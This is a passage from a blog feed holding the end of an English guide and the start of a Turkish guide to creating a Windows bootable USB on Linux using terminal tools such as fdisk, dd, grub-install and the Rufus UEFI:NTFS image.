&lt;li&gt;&lt;strong&gt;Unmount the ISO:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;rmdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-5-write-the-rufus-boot-image"&gt;Step 5: Write the Rufus Boot Image&lt;a class="headerlink" href="#step-5-write-the-rufus-boot-image" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, download the boot image from the Rufus&lt;sup id="fnref:Rufus"&gt;&lt;a class="footnote-ref" href="#fn:Rufus"&gt;2&lt;/a&gt;&lt;/sup&gt; repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;https://github.com/pbatard/rufus/raw/master/res/uefi/uefi-ntfs.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Use the &lt;code&gt;dd&lt;/code&gt; command to write the downloaded &lt;code&gt;uefi-ntfs.img&lt;/code&gt; file to the USB:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/path/to/uefi-ntfs.img&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Critical Warning; Replace &lt;code&gt;/dev/sdX2&lt;/code&gt; with the correct drive name. If you enter the wrong device name, important data, including your system disk, could be erased!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-6-install-the-bootloader"&gt;Step 6: Install the Bootloader&lt;a class="headerlink" href="#step-6-install-the-bootloader" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We will use &lt;code&gt;grub&lt;/code&gt; to install the bootloader. The command may vary depending on your distribution.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note for Debian/Ubuntu Users&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If the &lt;code&gt;grub2-install&lt;/code&gt; command is not found, your system might be using &lt;code&gt;grub-install&lt;/code&gt;. Also, the &lt;code&gt;grub-pc&lt;/code&gt; package may need to be installed for the &lt;code&gt;i386-pc&lt;/code&gt; target.
To install: &lt;code&gt;sudo apt-get install grub-pc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Install the bootloader using the &lt;code&gt;grub2-install&lt;/code&gt; (or &lt;code&gt;grub-install&lt;/code&gt;) command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;grub2-install&lt;span class="w"&gt; &lt;/span&gt;--target&lt;span class="o"&gt;=&lt;/span&gt;i386-pc&lt;span class="w"&gt; &lt;/span&gt;--boot-directory&lt;span class="o"&gt;=&lt;/span&gt;/mnt/drive&lt;span class="w"&gt; &lt;/span&gt;--force&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--boot-directory=/mnt/drive&lt;/code&gt;: The mount point of the USB's Windows data partition (see Step 4).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/sdX&lt;/code&gt;: The USB device itself.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Attention! Double-check the drive name before running the command.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-7-test-the-bootable-usb"&gt;Step 7: Test the Bootable USB&lt;a class="headerlink" href="#step-7-test-the-bootable-usb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Plug the USB into the target system and set &lt;strong&gt;USB as the priority boot device&lt;/strong&gt; in the BIOS/UEFI settings.
If necessary, disable the &lt;strong&gt;Secure Boot&lt;/strong&gt; option.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="common-issues-and-solutions"&gt;Common Issues and Solutions&lt;a class="headerlink" href="#common-issues-and-solutions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bootloader Errors:&lt;/strong&gt;
  If the USB does not boot, the ISO may require additional configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Permission Errors:&lt;/strong&gt;
  Always run commands with &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Corrupt ISO File:&lt;/strong&gt;
  To verify the integrity of the ISO, use this command:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sha256sum&lt;span class="w"&gt; &lt;/span&gt;/path/to/windows.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Compare the output with the official SHA256 value.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;By following these steps, you can easily create a &lt;strong&gt;Windows bootable USB&lt;/strong&gt; on Linux using only terminal commands.
This method should always be at your fingertips for new installations, system repairs, or emergencies.&lt;/p&gt;
&lt;p&gt;Happy booting! 💻&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="resources"&gt;Resources&lt;a class="headerlink" href="#resources" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;For more information, you can check out the &lt;a href="/en/linux-uefi-windows10-usb/"&gt;guide on creating a UEFI-supported Windows 10 USB on Linux&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Guide to Booting ISO from a USB Stick" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/usb-bellekten-iso-onyukleme-rehberi-xl.webp" srcset="/images/usb-bellekten-iso-onyukleme-rehberi-sm.webp 300w, /images/usb-bellekten-iso-onyukleme-rehberi-md.webp 500w, /images/usb-bellekten-iso-onyukleme-rehberi-lg.webp 800w, /images/usb-bellekten-iso-onyukleme-rehberi-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:El-Torito"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/ISO_9660#El_Torito" rel="noopener noreferrer" target="_blank"&gt;https://en.wikipedia.org/wiki/ISO_9660#El_Torito&lt;/a&gt;&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:El-Torito" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:Rufus"&gt;
&lt;p&gt;&lt;a href="https://rufus.ie/en/" rel="noopener noreferrer" target="_blank"&gt;https://rufus.ie/en/&lt;/a&gt;&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:Rufus" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="iso"/><category term="usb"/><category term="önyükleme"/><category term="el-torito"/><category term="rehber"/><category term="windows10"/><category term="windows11"/><category term="format"/><category term="uefi"/></entry><entry><title>USB Bellekten ISO Önyükleme Rehberi</title><link href="https://yuceltoluyag.github.io/usb-bellekten-iso-onyukleme-rehberi/" rel="alternate"/><published>2025-11-11T17:00:00+03:00</published><updated>2025-11-11T17:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-11:/usb-bellekten-iso-onyukleme-rehberi/</id><summary type="html">&lt;p&gt;ISO dosyasını USB belleğe doğru şekilde yazarak önyüklenebilir hale getirmek istiyorsanız, bu rehber adım adım size yol gösterecek.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Selamlar g&amp;uuml;zel insanlar ve komut sat&amp;inodot;r&amp;inodot;ndan &amp;ouml;d&amp;uuml;n vermeyen yolda&amp;scedil;lar! ⚡&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er bir g&amp;uuml;n yolunuz Linux ortam&amp;inodot;nda Windows kurulum USB'si haz&amp;inodot;rlamaya d&amp;uuml;&amp;scedil;t&amp;uuml;yse, o me&amp;scedil;hur 'Rufus' veya benzeri g&amp;ouml;rsel ara&amp;ccedil;lar&amp;inodot;n Linux s&amp;uuml;r&amp;uuml;m&amp;uuml; olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;r&amp;uuml;p hafif bir panik ya&amp;scedil;am&amp;inodot;&amp;scedil; olabilirsiniz. Hele ki benim gibi Arch Linux kullanan ve terminalin o siyah ekran&amp;inodot;ndan &amp;ccedil;&amp;inodot;kmay&amp;inodot; reddeden bir paronoyaksan&amp;inodot;z, eliniz hemen klavyeye gider. Ama durun! Linux ISO'lar&amp;inodot; ile Windows ISO'lar&amp;inodot; aras&amp;inodot;nda o g&amp;inodot;c&amp;inodot;k &amp;ouml;ny&amp;uuml;kleme fark&amp;inodot; y&amp;uuml;z&amp;uuml;nden d&amp;uuml;z bir &lt;code&gt;dd&lt;/code&gt; komutu atmak Windows USB'lerinde i&amp;scedil;e yaramaz. &lt;/p&gt;
&lt;p&gt;Bu yaz&amp;inodot;da, hi&amp;ccedil;bir &amp;uuml;&amp;ccedil;&amp;uuml;nc&amp;uuml; parti aray&amp;uuml;ze ihtiya&amp;ccedil; duymadan, &lt;strong&gt;sadece ve sadece terminal komutlar&amp;inodot;n&amp;inodot; kullanarak&lt;/strong&gt; Linux &amp;uuml;zerinde aslanlar gibi &amp;ccedil;al&amp;inodot;&amp;scedil;an &lt;strong&gt;Windows &amp;ouml;ny&amp;uuml;klenebilir USB s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;&lt;/strong&gt; nas&amp;inodot;l haz&amp;inodot;rlan&amp;inodot;r bizzat tecr&amp;uuml;be etti&amp;gbreve;im, ac&amp;inodot; &amp;ccedil;ekerek &amp;ouml;&amp;gbreve;rendi&amp;gbreve;im en temiz y&amp;ouml;ntemle anlat&amp;inodot;yorum. Kendinize makarna-yo&amp;gbreve;urt yap&amp;inodot;n veya &amp;ccedil;ay&amp;inodot;n&amp;inodot;z&amp;inodot; tazeleyin; disk b&amp;ouml;lmekten Rufus &amp;ouml;ny&amp;uuml;kleme imaj&amp;inodot; g&amp;ouml;mmeye kadar bu i&amp;scedil;i terminalin efendisi gibi hallediyoruz! 💻&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="linuxun-isohybrid-ve-windows-iso-fark"&gt;🧠 Linux&amp;rsquo;un ISOHybrid ve Windows ISO Fark&amp;inodot;&lt;a class="headerlink" href="#linuxun-isohybrid-ve-windows-iso-fark" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;ny&amp;uuml;klenebilir bir USB s&amp;uuml;r&amp;uuml;c&amp;uuml; olu&amp;scedil;tururken, &lt;strong&gt;Linux ISOHybrid g&amp;ouml;r&amp;uuml;nt&amp;uuml;leri&lt;/strong&gt; ile &lt;strong&gt;Windows ISO g&amp;ouml;r&amp;uuml;nt&amp;uuml;leri&lt;/strong&gt; aras&amp;inodot;ndaki farklar&amp;inodot; anlamak hayati &amp;ouml;nem ta&amp;scedil;&amp;inodot;r. Yoksa saatlerce &lt;code&gt;dd&lt;/code&gt; komutunun bitmesini bekleyip, sonras&amp;inodot;nda hi&amp;ccedil;bir &amp;scedil;ey boot etmeyen o cans&amp;inodot;z USB'ye bakarak bilgisayar&amp;inodot; yumruklayabilirsiniz. &lt;/p&gt;
&lt;p&gt;Bu ayr&amp;inodot;m &amp;ouml;zellikle &lt;strong&gt;Linux ortam&amp;inodot;nda Windows &amp;ouml;ny&amp;uuml;klenebilir USB olu&amp;scedil;tururken&lt;/strong&gt; kansere d&amp;ouml;nen bir s&amp;uuml;rece yol a&amp;ccedil;ar, &amp;ccedil;&amp;uuml;nk&amp;uuml; bu i&amp;scedil;lem genellikle bir Linux ISOHybrid ile &amp;ccedil;al&amp;inodot;&amp;scedil;maktan &amp;ccedil;ok daha fazla el eme&amp;gbreve;i ve ad&amp;inodot;m gerektirir. &amp;Scedil;imdi bu formatlar&amp;inodot; ve neden d&amp;uuml;z kopyalaman&amp;inodot;n yetmedi&amp;gbreve;ini anlamak i&amp;ccedil;in detaylara bakal&amp;inodot;m.&lt;/p&gt;
&lt;h3 id="hybrid-iso-nedir"&gt;Hybrid ISO Nedir?&lt;a class="headerlink" href="#hybrid-iso-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hybrid ISO, hem klasik bir optik disk (CD/DVD) g&amp;ouml;r&amp;uuml;nt&amp;uuml;s&amp;uuml; hem de USB s&amp;uuml;r&amp;uuml;c&amp;uuml;ler gibi cihazlarda &lt;strong&gt;&amp;ouml;ny&amp;uuml;klenebilir bir imaj&lt;/strong&gt; olarak &amp;ccedil;al&amp;inodot;&amp;scedil;abilen &amp;ouml;zel bir ISO t&amp;uuml;r&amp;uuml;d&amp;uuml;r. Geleneksel olarak ISO dosyalar&amp;inodot;, CD veya DVD'ye yaz&amp;inodot;lmak &amp;uuml;zere tasarlanm&amp;inodot;&amp;scedil;t&amp;inodot;r. Hybrid ISO&amp;rsquo;lar ise bu i&amp;scedil;levselli&amp;gbreve;i geni&amp;scedil;letir; ayn&amp;inodot; dosya, &lt;strong&gt;hi&amp;ccedil;bir ek d&amp;uuml;zenleme yapmadan&lt;/strong&gt; do&amp;gbreve;rudan &lt;code&gt;dd&lt;/code&gt; ile bir USB s&amp;uuml;r&amp;uuml;c&amp;uuml;ye yaz&amp;inodot;labilir ve &amp;ouml;ny&amp;uuml;klenebilir hale gelir.&lt;/p&gt;
&lt;p&gt;Bu &amp;ccedil;ift i&amp;scedil;levsellik, hem CD/DVD uyumlulu&amp;gbreve;u i&amp;ccedil;in ISO9660 dosya sistemini hem de USB &amp;ouml;ny&amp;uuml;kleme deste&amp;gbreve;i sa&amp;gbreve;layan &lt;strong&gt;MBR (Master Boot Record)&lt;/strong&gt; yap&amp;inodot;s&amp;inodot;n&amp;inodot; i&amp;ccedil;ermesi sayesinde m&amp;uuml;mk&amp;uuml;nd&amp;uuml;r.&lt;/p&gt;
&lt;h3 id="bir-isonun-hybrid-oldugu-nasl-anlaslr"&gt;Bir ISO&amp;rsquo;nun Hybrid Oldu&amp;gbreve;u Nas&amp;inodot;l Anla&amp;scedil;&amp;inodot;l&amp;inodot;r?&lt;a class="headerlink" href="#bir-isonun-hybrid-oldugu-nasl-anlaslr" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bir ISO&amp;rsquo;nun hybrid olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; anlamak i&amp;ccedil;in &amp;scedil;u terminal komutlar&amp;inodot;n&amp;inodot; ko&amp;scedil;turabilirsiniz:&lt;/p&gt;
&lt;h4 id="1-file-komutu-ile-kontrol"&gt;1. &lt;code&gt;file&lt;/code&gt; Komutu ile Kontrol&lt;a class="headerlink" href="#1-file-komutu-ile-kontrol" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;file&lt;/code&gt; komutu, ISO&amp;rsquo;nun yap&amp;inodot;s&amp;inodot; hakk&amp;inodot;nda bilgi verir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;file&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Hybrid bir ISO&amp;rsquo;da &amp;ccedil;&amp;inodot;kt&amp;inodot; genellikle &amp;ldquo;(DOS/MBR boot sector)&amp;rdquo; ifadesini i&amp;ccedil;erir.&lt;/p&gt;
&lt;h4 id="2-fdisk-ile-mbryi-inceleme"&gt;2. &lt;code&gt;fdisk&lt;/code&gt; ile MBR&amp;rsquo;yi &amp;Idot;nceleme&lt;a class="headerlink" href="#2-fdisk-ile-mbryi-inceleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Hybrid ISO&amp;rsquo;lar, USB &amp;uuml;zerinden &amp;ouml;ny&amp;uuml;klemeyi desteklemek i&amp;ccedil;in bir MBR i&amp;ccedil;erir. Bunu &lt;code&gt;fdisk&lt;/code&gt; ile kontrol edebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er bir &amp;ouml;ny&amp;uuml;klenebilir b&amp;ouml;l&amp;uuml;m bilgisi (&amp;ouml;rne&amp;gbreve;in tek bir b&amp;ouml;l&amp;uuml;m) g&amp;ouml;r&amp;uuml;yorsan&amp;inodot;z, bu ISO muhtemelen hybrid&amp;rsquo;dir. Hibrit olmayan d&amp;uuml;z ISO&amp;rsquo;da b&amp;ouml;l&amp;uuml;m detaylar&amp;inodot; g&amp;ouml;r&amp;uuml;nt&amp;uuml;lenmez.&lt;/p&gt;
&lt;h4 id="3-el-torito-onyukleme-kaydn-kontrol-etme"&gt;3. El Torito &amp;Ouml;ny&amp;uuml;kleme Kayd&amp;inodot;n&amp;inodot; Kontrol Etme&lt;a class="headerlink" href="#3-el-torito-onyukleme-kaydn-kontrol-etme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Hybrid ISO&amp;rsquo;lar, &lt;strong&gt;El Torito&lt;/strong&gt;&lt;sup id="fnref:El-Torito"&gt;&lt;a class="footnote-ref" href="#fn:El-Torito"&gt;1&lt;/a&gt;&lt;/sup&gt; standard&amp;inodot;n&amp;inodot; kullan&amp;inodot;r. &lt;code&gt;xorriso&lt;/code&gt; arac&amp;inodot; ile do&amp;gbreve;rulama yapabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;xorriso&lt;span class="w"&gt; &lt;/span&gt;-indev&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot;da &lt;code&gt;Boot record&lt;/code&gt; k&amp;inodot;sm&amp;inodot;nda &amp;ouml;ny&amp;uuml;kleyici ve b&amp;ouml;l&amp;uuml;m tablosu bilgileri yer al&amp;inodot;rsa, ISO &amp;ouml;ny&amp;uuml;klenebilirdir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="gerekli-olanlar_1"&gt;🛠️ Gerekli Olanlar&lt;a class="headerlink" href="#gerekli-olanlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;leme ba&amp;scedil;lamadan &amp;ouml;nce a&amp;scedil;a&amp;gbreve;&amp;inodot;daki malzemelerin haz&amp;inodot;r oldu&amp;gbreve;undan emin olun:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Windows ISO dosyas&amp;inodot;:&lt;/strong&gt; Resm&amp;icirc; ISO dosyas&amp;inodot;n&amp;inodot; &lt;a href="https://www.microsoft.com/en-us/windows/?r=1" rel="noopener noreferrer" target="_blank"&gt;Microsoft web sitesinden&lt;/a&gt; indirin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;USB s&amp;uuml;r&amp;uuml;c&amp;uuml;:&lt;/strong&gt; En az 8 GB bo&amp;scedil; alan&amp;inodot; olmal&amp;inodot;. T&amp;uuml;m i&amp;ccedil;erik silinece&amp;gbreve;inden &amp;ouml;nemli verilerinizi yedekleyin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Terminal Eri&amp;scedil;imi:&lt;/strong&gt; T&amp;uuml;m i&amp;scedil;lemlerimiz sadece komut sat&amp;inodot;r&amp;inodot;ndan ge&amp;ccedil;ecek!&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="adm-1-usb-surucunuzu-belirleyin"&gt;👣 Ad&amp;inodot;m 1: USB S&amp;uuml;r&amp;uuml;c&amp;uuml;n&amp;uuml;z&amp;uuml; Belirleyin&lt;a class="headerlink" href="#adm-1-usb-surucunuzu-belirleyin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;USB s&amp;uuml;r&amp;uuml;c&amp;uuml;n&amp;uuml;z&amp;uuml; bilgisayara tak&amp;inodot;n ve terminali a&amp;ccedil;&amp;inodot;n. Ayg&amp;inodot;t ad&amp;inodot;n&amp;inodot; belirlemek i&amp;ccedil;in &amp;scedil;u komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsblk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot;da genellikle &lt;code&gt;/dev/sdX&lt;/code&gt; &amp;scedil;eklinde bir ad g&amp;ouml;receksiniz. &lt;code&gt;X&lt;/code&gt; harfi s&amp;uuml;r&amp;uuml;c&amp;uuml; harfini temsil eder &amp;mdash; do&amp;gbreve;ru s&amp;uuml;r&amp;uuml;c&amp;uuml;y&amp;uuml; dikkatlice not edin. Yanl&amp;inodot;&amp;scedil; diski se&amp;ccedil;erseniz sisteminizi s&amp;inodot;f&amp;inodot;rlayabilirsiniz, aman dikkat!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="adm-2-usb-surucusunu-bolumleme"&gt;👣 Ad&amp;inodot;m 2: USB S&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; B&amp;ouml;l&amp;uuml;mleme&lt;a class="headerlink" href="#adm-2-usb-surucusunu-bolumleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Formatlamadan &amp;ouml;nce USB s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;nde gerekli b&amp;ouml;l&amp;uuml;mleri olu&amp;scedil;turmal&amp;inodot;s&amp;inodot;n&amp;inodot;z. Bunun i&amp;ccedil;in &lt;code&gt;fdisk&lt;/code&gt; arac&amp;inodot;n&amp;inodot; kullanaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! B&amp;ouml;l&amp;uuml;mleme ve formatlama s&amp;inodot;ras&amp;inodot;nda hatalardan ka&amp;ccedil;&amp;inodot;nmak i&amp;ccedil;in, USB &amp;uuml;zerindeki mevcut b&amp;ouml;l&amp;uuml;mleri &amp;ouml;nceden ay&amp;inodot;r&amp;inodot;n (unmount edin):&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/dev/sdX*&lt;/code&gt; k&amp;inodot;sm&amp;inodot;n&amp;inodot; kendi USB s&amp;uuml;r&amp;uuml;c&amp;uuml;n&amp;uuml;z&amp;uuml;n uygun b&amp;ouml;l&amp;uuml;mleriyle de&amp;gbreve;i&amp;scedil;tirin.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fdisk&lt;/code&gt; arac&amp;inodot;n&amp;inodot; ba&amp;scedil;lat&amp;inodot;n:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fdisk&lt;/code&gt; aray&amp;uuml;z&amp;uuml;nde a&amp;scedil;a&amp;gbreve;&amp;inodot;daki ad&amp;inodot;mlar&amp;inodot; s&amp;inodot;rayla uygulay&amp;inodot;n:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;g&lt;/code&gt; tu&amp;scedil;una basarak yeni bir &lt;strong&gt;GPT&lt;/strong&gt; b&amp;ouml;l&amp;uuml;m tablosu olu&amp;scedil;turun.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt; tu&amp;scedil;una basarak yeni bir b&amp;ouml;l&amp;uuml;m ekleyin.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt; ile birincil (primary) b&amp;ouml;l&amp;uuml;m olu&amp;scedil;turun.&lt;/li&gt;
&lt;li&gt;&amp;Idot;lk b&amp;ouml;l&amp;uuml;m&amp;uuml; olu&amp;scedil;turun, &amp;ouml;ny&amp;uuml;kleme b&amp;ouml;l&amp;uuml;m&amp;uuml; i&amp;ccedil;in az miktarda alan b&amp;inodot;rak&amp;inodot;n (yakla&amp;scedil;&amp;inodot;k 1 MB yeterlidir).&lt;/li&gt;
&lt;li&gt;Kalan alan&amp;inodot; ikinci b&amp;ouml;l&amp;uuml;m i&amp;ccedil;in ay&amp;inodot;r&amp;inodot;n.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Windows ortam&amp;inodot;nda, &amp;ccedil;&amp;inodot;kar&amp;inodot;labilir s&amp;uuml;r&amp;uuml;c&amp;uuml;lerde i&amp;scedil;letim sistemi genellikle &lt;strong&gt;yaln&amp;inodot;zca ilk birincil b&amp;ouml;l&amp;uuml;m&amp;uuml;&lt;/strong&gt; tan&amp;inodot;r. Bu nedenle, Windows taraf&amp;inodot;ndan eri&amp;scedil;ilebilir olacak veri b&amp;ouml;l&amp;uuml;m&amp;uuml; &lt;strong&gt;birinci&lt;/strong&gt;, sistem dosyalar&amp;inodot;n&amp;inodot; i&amp;ccedil;eren &amp;ouml;ny&amp;uuml;kleme b&amp;ouml;l&amp;uuml;m&amp;uuml; ise &lt;strong&gt;ikinci&lt;/strong&gt; olmal&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Dosya sistemi t&amp;uuml;r&amp;uuml;n&amp;uuml; &lt;code&gt;Microsoft basic data&lt;/code&gt; olarak ayarlay&amp;inodot;n:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;t&lt;/code&gt; tu&amp;scedil;una bas&amp;inodot;n ve her iki b&amp;ouml;l&amp;uuml;m i&amp;ccedil;in de t&amp;uuml;r numaras&amp;inodot; olarak &lt;code&gt;11&lt;/code&gt; se&amp;ccedil;in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;Ouml;ny&amp;uuml;klenebilir (bootable) bayra&amp;gbreve;&amp;inodot;n&amp;inodot; ayarlay&amp;inodot;n:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;x&lt;/code&gt; tu&amp;scedil;una basarak uzman moduna ge&amp;ccedil;in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;A&lt;/code&gt; ile &amp;ouml;ny&amp;uuml;kleme yap&amp;inodot;lacak b&amp;ouml;l&amp;uuml;m&amp;uuml; se&amp;ccedil;in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
